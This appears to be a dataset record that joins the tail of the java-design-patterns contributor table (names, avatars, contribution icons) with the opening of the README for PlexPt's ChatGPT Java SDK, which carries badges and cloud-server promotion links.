<td align="center" valign="top" width="14.28%"><a href="https://github.com/Chak-C"><img src="https://avatars.githubusercontent.com/u/114961815?v=4?s=100" width="100px;" alt="Chak-C"/><br /><sub><b>Chak-C</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Chak-C" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/nakul251197"><img src="https://avatars.githubusercontent.com/u/39953357?v=4?s=100" width="100px;" alt="Nakul Nambiar"/><br /><sub><b>Nakul Nambiar</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=nakul251197" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/KarmaTashiCat"><img src="https://avatars.githubusercontent.com/u/76797146?v=4?s=100" width="100px;" alt="KarmaTashiCat"/><br /><sub><b>KarmaTashiCat</b></sub></a><br /><a href="#translation-KarmaTashiCat" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Marikattt"><img src="https://avatars.githubusercontent.com/u/49302558?v=4?s=100" width="100px;" alt="marikattt"/><br /><sub><b>marikattt</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Marikattt" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Harsh4902"><img src="https://avatars.githubusercontent.com/u/84663071?v=4?s=100" width="100px;" alt="Hashvardhan Parmar"/><br /><sub><b>Hashvardhan Parmar</b></sub></a><br /><a href="#translation-Harsh4902" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://hwan33.tistory.com/"><img src="https://avatars.githubusercontent.com/u/67625677?v=4?s=100" width="100px;" alt="YongHwan"/><br /><sub><b>YongHwan</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=yongyongkr" title="Documentation">📖</a> <a href="#translation-yongyongkr" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/shogohida"><img src="https://avatars.githubusercontent.com/u/10365357?v=4?s=100" width="100px;" alt="Shogo Hida"/><br /><sub><b>Shogo Hida</b></sub></a><br /><a href="#translation-shogohida" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Regyl"><img src="https://avatars.githubusercontent.com/u/48804404?v=4?s=100" width="100px;" alt="Eugene"/><br /><sub><b>Eugene</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Regyl" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/piyush280599"><img src="https://avatars.githubusercontent.com/u/118425491?v=4?s=100" width="100px;" alt="Piyush"/><br /><sub><b>Piyush</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=piyush280599" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/rahulraj90/"><img src="https://avatars.githubusercontent.com/u/517415?v=4?s=100" width="100px;" alt="Rahul Raj"/><br /><sub><b>Rahul Raj</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=rahul-raj" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/bharathkalyans/"><img src="https://avatars.githubusercontent.com/u/49526472?v=4?s=100" width="100px;" alt="Bharath Kalyan S"/><br /><sub><b>Bharath Kalyan S</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=bharathkalyans" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/thisissaiteja/"><img src="https://avatars.githubusercontent.com/u/13088886?v=4?s=100" width="100px;" alt="Saiteja Reddy"/><br /><sub><b>Saiteja Reddy</b></sub></a><br /><a href="#translation-saiteja55" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://twitch.tv/clerici"><img src="https://avatars.githubusercontent.com/u/115318468?v=4?s=100" width="100px;" alt="Enrique Clerici"/><br /><sub><b>Enrique Clerici</b></sub></a><br /><a href="#translation-TheClerici" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ramilS"><img src="https://avatars.githubusercontent.com/u/13589365?v=4?s=100" width="100px;" alt="Ramil Sayetov"/><br /><sub><b>Ramil Sayetov</b></sub></a><br /><a href="#translation-ramilS" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://pkq.xyz"><img src="https://avatars.githubusercontent.com/u/50656114?v=4?s=100" width="100px;" alt="东方未白"/><br /><sub><b>东方未白</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=pikapiu" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/swashb0ckler"><img src="https://avatars.githubusercontent.com/u/62488841?v=4?s=100" width="100px;" alt="Fredrik Sejr"/><br /><sub><b>Fredrik Sejr</b></sub></a><br /><a href="#translation-swashb0ckler" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/akshatarora0013"><img src="https://avatars.githubusercontent.com/u/102645021?v=4?s=100" width="100px;" alt="akshatarora0013"/><br /><sub><b>akshatarora0013</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=akshatarora0013" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://mugheesqasimmq.wixsite.com/portfolio-website"><img src="https://avatars.githubusercontent.com/u/45170085?v=4?s=100" width="100px;" alt="Mughees Qasim"/><br /><sub><b>Mughees Qasim</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=MugheesQasim" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/behappyleee"><img src="https://avatars.githubusercontent.com/u/72903623?v=4?s=100" width="100px;" alt="behappyleee"/><br /><sub><b>behappyleee</b></sub></a><br /><a href="#translation-behappyleee" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Ayush-Thakur-geek"><img src="https://avatars.githubusercontent.com/u/116510022?v=4?s=100" width="100px;" alt="Ayush Thakur"/><br /><sub><b>Ayush Thakur</b></sub></a><br /><a href="#translation-Ayush-Thakur-geek" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/boscha1"><img src="https://avatars.githubusercontent.com/u/55814237?v=4?s=100" width="100px;" alt="Anthony Bosch"/><br /><sub><b>Anthony Bosch</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=boscha1" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/AnsonTran"><img src="https://avatars.githubusercontent.com/u/37683428?v=4?s=100" width="100px;" alt="trananso"/><br /><sub><b>trananso</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=AnsonTran" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/beef-e"><img src="https://avatars.githubusercontent.com/u/102854627?v=4?s=100" width="100px;" alt="Giammaria Biffi"/><br /><sub><b>Giammaria Biffi</b></sub></a><br /><a href="#translation-beef-e" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/saif7159"><img src="https://avatars.githubusercontent.com/u/36008396?v=4?s=100" width="100px;" alt="Saiful Haque"/><br /><sub><b>Saiful Haque</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=saif7159" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/JabezBrew"><img src="https://avatars.githubusercontent.com/u/74483609?v=4?s=100" width="100px;" alt="JabezBrew"/><br /><sub><b>JabezBrew</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=JabezBrew" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/konstantin-goldman"><img src="https://avatars.githubusercontent.com/u/47669472?v=4?s=100" width="100px;" alt="konstantin-goldman"/><br /><sub><b>konstantin-goldman</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=konstantin-goldman" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://miti99.dev"><img src="https://avatars.githubusercontent.com/u/39063457?v=4?s=100" width="100px;" alt="Tien Nguyen Minh"/><br /><sub><b>Tien Nguyen Minh</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=tiennm99" title="Code">💻</a> <a href="#translation-tiennm99" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/VladimirCreator"><img src="https://avatars.githubusercontent.com/u/49140851?v=4?s=100" width="100px;" alt="Vladimir"/><br /><sub><b>Vladimir</b></sub></a><br /><a href="#translation-VladimirCreator" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://surjendu-pal.netlify.app/"><img src="https://avatars.githubusercontent.com/u/101238933?v=4?s=100" width="100px;" alt="Surjendu"/><br /><sub><b>Surjendu</b></sub></a><br /><a href="#translation-surjendu104" title="Translation">🌍</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=surjendu104" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/bakazhou"><img src="https://avatars.githubusercontent.com/u/81795984?v=4?s=100" width="100px;" alt="bakazhou"/><br /><sub><b>bakazhou</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=bakazhou" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Owen-CH-Leung"><img src="https://avatars.githubusercontent.com/u/43698890?v=4?s=100" width="100px;" alt="Owen Leung"/><br /><sub><b>Owen Leung</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Owen-CH-Leung" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/thestbar"><img src="https://avatars.githubusercontent.com/u/20283468?v=4?s=100" width="100px;" alt="Stavros Barousis"/><br /><sub><b>Stavros Barousis</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=thestbar" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ibrahim89"><img src="https://avatars.githubusercontent.com/u/20753671?v=4?s=100" width="100px;" alt="Syyed Ibrahim Abdullah"/><br /><sub><b>Syyed Ibrahim Abdullah</b></sub></a><br /><a href="#translation-ibrahim89" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/JanisZhang"><img src="https://avatars.githubusercontent.com/u/95570096?v=4?s=100" width="100px;" alt="JiaDi Zhang"/><br /><sub><b>JiaDi Zhang</b></sub></a><br /><a href="#translation-JanisZhang" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/sanchitbansal10"><img src="https://avatars.githubusercontent.com/u/16536741?v=4?s=100" width="100px;" alt="Sanchit Bansal"/><br /><sub><b>Sanchit Bansal</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=sanchitbansal10" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/mm-saiful6854"><img src="https://avatars.githubusercontent.com/u/48361160?v=4?s=100" width="100px;" alt="Md Saiful Islam"/><br /><sub><b>Md Saiful Islam</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=mm-saiful6854" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/AddeusExMachina"><img src="https://avatars.githubusercontent.com/u/39912670?v=4?s=100" width="100px;" alt="Antonio Addeo"/><br /><sub><b>Antonio Addeo</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=AddeusExMachina" title="Documentation">📖</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=AddeusExMachina" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Upendra-Allagadda"><img src="https://avatars.githubusercontent.com/u/25962010?v=4?s=100" width="100px;" alt="Allagadda Sai Upendranath"/><br /><sub><b>Allagadda Sai Upendranath</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Upendra-Allagadda" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/mobraga/"><img src="https://avatars.githubusercontent.com/u/31048764?v=4?s=100" width="100px;" alt="Matheus Braga"/><br /><sub><b>Matheus Braga</b></sub></a><br /><a href="#translation-mathbraga" title="Translation">🌍</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=mathbraga" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/satyabarghav"><img src="https://avatars.githubusercontent.com/u/36763910?v=4?s=100" width="100px;" alt="Appari Satya Barghav"/><br /><sub><b>Appari Satya Barghav</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=satyabarghav" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://mribeirodantas.me"><img src="https://avatars.githubusercontent.com/u/1023197?v=4?s=100" width="100px;" alt="Marcel Ribeiro-Dantas"/><br /><sub><b>Marcel Ribeiro-Dantas</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=mribeirodantas" title="Documentation">📖</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/hamexhanif"><img src="https://avatars.githubusercontent.com/u/74542852?v=4?s=100" width="100px;" alt="Muhammad Hanif Amrullah"/><br /><sub><b>Muhammad Hanif Amrullah</b></sub></a><br /><a href="#translation-hamexhanif" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/JackH408"><img src="https://avatars.githubusercontent.com/u/141727294?v=4?s=100" width="100px;" alt="JackH408"/><br /><sub><b>JackH408</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=JackH408" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/versus2004"><img src="https://avatars.githubusercontent.com/u/132815243?v=4?s=100" width="100px;" alt="Shubham"/><br /><sub><b>Shubham</b></sub></a><br /><a href="#translation-versus2004" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/inishantjain"><img src="https://avatars.githubusercontent.com/u/121454072?v=4?s=100" width="100px;" alt="Nishant Jain"/><br /><sub><b>Nishant Jain</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=inishantjain" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/hallowshaw"><img src="https://avatars.githubusercontent.com/u/90751158?v=4?s=100" width="100px;" alt="Rhitam Chaudhury"/><br /><sub><b>Rhitam Chaudhury</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=hallowshaw" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/JerryZhao275"><img src="https://avatars.githubusercontent.com/u/132061401?v=4?s=100" width="100px;" alt="JerryZhao275"/><br /><sub><b>JerryZhao275</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=JerryZhao275" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://twitter.com/llisant"><img src="https://avatars.githubusercontent.com/u/1445890?v=4?s=100" width="100px;" alt="Leonardo Lisanti"/><br /><sub><b>Leonardo Lisanti</b></sub></a><br /><a href="#translation-leonardol" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="http://www.linkedin.com/in/yenniferh"><img src="https://avatars.githubusercontent.com/u/19285706?v=4?s=100" width="100px;" alt="Yennifer Herrera"/><br /><sub><b>Yennifer Herrera</b></sub></a><br /><a href="#translation-Yenniferh" title="Translation">🌍</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3AYenniferh" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/jnniu-n"><img src="https://avatars.githubusercontent.com/u/141746282?v=4?s=100" width="100px;" alt="jnniu-n"/><br /><sub><b>jnniu-n</b></sub></a><br /><a href="#translation-jnniu-n" title="Translation">🌍</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=jnniu-n" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/miguel-is-coding"><img src="https://avatars.githubusercontent.com/u/48435117?v=4?s=100" width="100px;" alt="Miguel Angel Perez Garcia"/><br /><sub><b>Miguel Angel Perez Garcia</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Amiguel-is-coding" title="Reviewed Pull Requests">👀</a> <a href="#translation-miguel-is-coding" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/SuwanSankaja"><img src="https://avatars.githubusercontent.com/u/86839778?v=4?s=100" width="100px;" alt="Suwan Sankaja"/><br /><sub><b>Suwan Sankaja</b></sub></a><br /><a href="#translation-SuwanSankaja" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Iamalok007"><img src="https://avatars.githubusercontent.com/u/97467835?v=4?s=100" width="100px;" alt="alok"/><br /><sub><b>alok</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Iamalok007" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/dlvideira"><img src="https://avatars.githubusercontent.com/u/53951425?v=4?s=100" width="100px;" alt="Daniel Lisboa"/><br /><sub><b>Daniel Lisboa</b></sub></a><br /><a href="#translation-dlvideira" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ComplexOW"><img src="https://avatars.githubusercontent.com/u/105279107?v=4?s=100" width="100px;" alt="Sam Powell"/><br /><sub><b>Sam Powell</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ComplexOW" title="Documentation">📖</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/jppf22"><img src="https://avatars.githubusercontent.com/u/104360594?v=4?s=100" width="100px;" alt="João Fernandes"/><br /><sub><b>João Fernandes</b></sub></a><br /><a href="#translation-jppf22" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/HongGeonUi"><img src="https://avatars.githubusercontent.com/u/89684956?v=4?s=100" width="100px;" alt="Hong Geon-ui"/><br /><sub><b>Hong Geon-ui</b></sub></a><br /><a href="#translation-HongGeonUi" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ylcn91"><img src="https://avatars.githubusercontent.com/u/7249450?v=4?s=100" width="100px;" alt="Doksanbir"/><br /><sub><b>Doksanbir</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ylcn91" title="Code">💻</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=ylcn91" title="Documentation">📖</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Aylcn91" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Chant3ll3"><img src="https://avatars.githubusercontent.com/u/141697333?v=4?s=100" width="100px;" alt="Chant3ll3"/><br /><sub><b>Chant3ll3</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Chant3ll3" title="Documentation">📖</a> <a href="#translation-Chant3ll3" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://hwan33.tistory.com/"><img src="https://avatars.githubusercontent.com/u/67625677?v=4?s=100" width="100px;" alt="YongHwan Kwon"/><br /><sub><b>YongHwan Kwon</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=hwan33" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/takikuba"><img src="https://avatars.githubusercontent.com/u/58841343?v=4?s=100" width="100px;" alt="Jakub Klimek"/><br /><sub><b>Jakub Klimek</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=takikuba" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/bachbil"><img src="https://avatars.githubusercontent.com/u/28935461?v=4?s=100" width="100px;" alt="believe"/><br /><sub><b>believe</b></sub></a><br /><a href="#translation-bachbil" title="Translation">🌍</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/egg0102030405"><img src="https://avatars.githubusercontent.com/u/59650695?v=4?s=100" width="100px;" alt="egg0102030405"/><br /><sub><b>egg0102030405</b></sub></a><br /><a href="#translation-egg0102030405" title="Translation">🌍</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=egg0102030405" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="http://vedasole.cloud"><img src="https://avatars.githubusercontent.com/u/77259804?v=4?s=100" width="100px;" alt="Ved Asole"/><br /><sub><b>Ved Asole</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=ved-asole" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Holiday-C"><img src="https://avatars.githubusercontent.com/u/95869761?v=4?s=100" width="100px;" alt="NewMorning"/><br /><sub><b>NewMorning</b></sub></a><br /><a href="#translation-Holiday-C" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Kiro-Young"><img src="https://avatars.githubusercontent.com/u/98251397?v=4?s=100" width="100px;" alt="资深老萌新"/><br /><sub><b>资深老萌新</b></sub></a><br /><a href="#translation-Kiro-Young" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://itistori.tistory.com/"><img src="https://avatars.githubusercontent.com/u/113348293?v=4?s=100" width="100px;" alt="Seunghwan Jeon"/><br /><sub><b>Seunghwan Jeon</b></sub></a><br /><a href="#translation-Nickolodeon98" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/sugan0tech"><img src="https://avatars.githubusercontent.com/u/71312159?v=4?s=100" width="100px;" alt="sugavanesh"/><br /><sub><b>sugavanesh</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=sugan0tech" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/FinnS-F"><img src="https://avatars.githubusercontent.com/u/126026830?v=4?s=100" width="100px;" alt="FinnS-F"/><br /><sub><b>FinnS-F</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=FinnS-F" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/jerryyummy"><img src="https://avatars.githubusercontent.com/u/62087610?v=4?s=100" width="100px;" alt="jerryyummy"/><br /><sub><b>jerryyummy</b></sub></a><br /><a href="#translation-jerryyummy" title="Translation">🌍</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://manojkumarchow.github.io/"><img src="https://avatars.githubusercontent.com/u/28005510?v=4?s=100" width="100px;" alt="Manoj Chowdary"/><br /><sub><b>Manoj Chowdary</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Manojkumarchow" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/MaverickWingman"><img src="https://avatars.githubusercontent.com/u/76624290?v=4?s=100" width="100px;" alt="Aditya"/><br /><sub><b>Aditya</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=MaverickWingman" title="Documentation">📖</a> <a href="https://github.com/iluwatar/java-design-patterns/commits?author=MaverickWingman" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/nooynayr"><img src="https://avatars.githubusercontent.com/u/141696269?v=4?s=100" width="100px;" alt="nooynayr"/><br /><sub><b>nooynayr</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=nooynayr" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/pushpander1010"><img src="https://avatars.githubusercontent.com/u/41006191?v=4?s=100" width="100px;" alt="CYBERCRUX2"/><br /><sub><b>CYBERCRUX2</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=pushpander1010" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/luismateoh"><img src="https://avatars.githubusercontent.com/u/44934142?v=4?s=100" width="100px;" alt="Luis Mateo Hincapié Martinez"/><br /><sub><b>Luis Mateo Hincapié Martinez</b></sub></a><br /><a href="#translation-luismateoh" title="Translation">🌍</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3Aluismateoh" title="Reviewed Pull Requests">👀</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://guqing.io"><img src="https://avatars.githubusercontent.com/u/38999863?v=4?s=100" width="100px;" alt="guqing"/><br /><sub><b>guqing</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=guqing" title="Code">💻</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/sashirestela"><img src="https://avatars.githubusercontent.com/u/14045506?v=4?s=100" width="100px;" alt="Sashir Estela"/><br /><sub><b>Sashir Estela</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=sashirestela" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/omahs"><img src="https://avatars.githubusercontent.com/u/73983677?v=4?s=100" width="100px;" alt="omahs"/><br /><sub><b>omahs</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=omahs" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/leiferksn"><img src="https://avatars.githubusercontent.com/u/4026636?v=4?s=100" width="100px;" alt="leif e."/><br /><sub><b>leif e.</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=leiferksn" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://junhkang.tistory.com/"><img src="https://avatars.githubusercontent.com/u/20232155?v=4?s=100" width="100px;" alt="Jun Kang"/><br /><sub><b>Jun Kang</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=junhkang" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/KishalayP"><img src="https://avatars.githubusercontent.com/u/71012321?v=4?s=100" width="100px;" alt="Kishalay Pandey"/><br /><sub><b>Kishalay Pandey</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=KishalayP" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/drishtii7"><img src="https://avatars.githubusercontent.com/u/82076566?v=4?s=100" width="100px;" alt="drishtii7"/><br /><sub><b>drishtii7</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=drishtii7" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/DavidMedinaO"><img src="https://avatars.githubusercontent.com/u/53974843?v=4?s=100" width="100px;" alt="David Medina Orozco"/><br /><sub><b>David Medina Orozco</b></sub></a><br /><a href="#translation-DavidMedinaO" title="Translation">🌍</a> <a href="https://github.com/iluwatar/java-design-patterns/pulls?q=is%3Apr+reviewed-by%3ADavidMedinaO" title="Reviewed Pull Requests">👀</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Romo4ka-bot"><img src="https://avatars.githubusercontent.com/u/61774094?v=4?s=100" width="100px;" alt="Roman Leontev"/><br /><sub><b>Roman Leontev</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Romo4ka-bot" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/Ehspresso"><img src="https://avatars.githubusercontent.com/u/144370752?v=4?s=100" width="100px;" alt="Riley"/><br /><sub><b>Riley</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=Ehspresso" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/k1w1dev"><img src="https://avatars.githubusercontent.com/u/121696782?v=4?s=100" width="100px;" alt="k1w1dev"/><br /><sub><b>k1w1dev</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=k1w1dev" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/dev-yugantar"><img src="https://avatars.githubusercontent.com/u/153066190?v=4?s=100" width="100px;" alt="dev-yugantar"/><br /><sub><b>dev-yugantar</b></sub></a><br /><a href="https://github.com/iluwatar/java-design-patterns/commits?author=dev-yugantar" title="Code">💻</a></td>
</tr>
</tbody>
</table>
<!-- markdownlint-restore -->
<!-- prettier-ignore-end -->
<!-- ALL-CONTRIBUTORS-LIST:END -->
| 0 |
PlexPt/chatgpt-java | ChatGPT Java SDK。支持 GPT3.5、 GPT4 API。开箱即用。 | chatgpt chatgpt-api chatgpt-api-wrapper chatgpt-bot chatgpt-sdk chatgpt3 chatgpt4 gpt4 java | <h1 style="text-align: center; color: hotpink; -webkit-animation: rainbow 5s infinite; -moz-animation: rainbow 5s infinite; -o-animation: rainbow 5s infinite; animation: rainbow 5s infinite;">ChatGPT Java API</h1>
[](https://maven-badges.herokuapp.com/maven-central/com.github.plexpt/chatgpt)
[English Doc](https://github.com/PlexPt/chatgpt-java/blob/main/README_en.md).
OpenAI ChatGPT 的SDK。觉得不错请右上角Star
# 中文语料库
[中文语料库 67万+问题，欢迎拿去炼丹](https://github.com/PlexPt/chatgpt-corpus)
点击👇🏻传送链接，购买云服务器炼丹：
- [**阿里云服务器特惠**](https://51015.cn/ss/3vpds)
- [**【腾讯云】服务器，低至4.2元/月**](https://curl.qcloud.com/NiGEWRdn) 选择 GPU 云服务器
# 功能特性
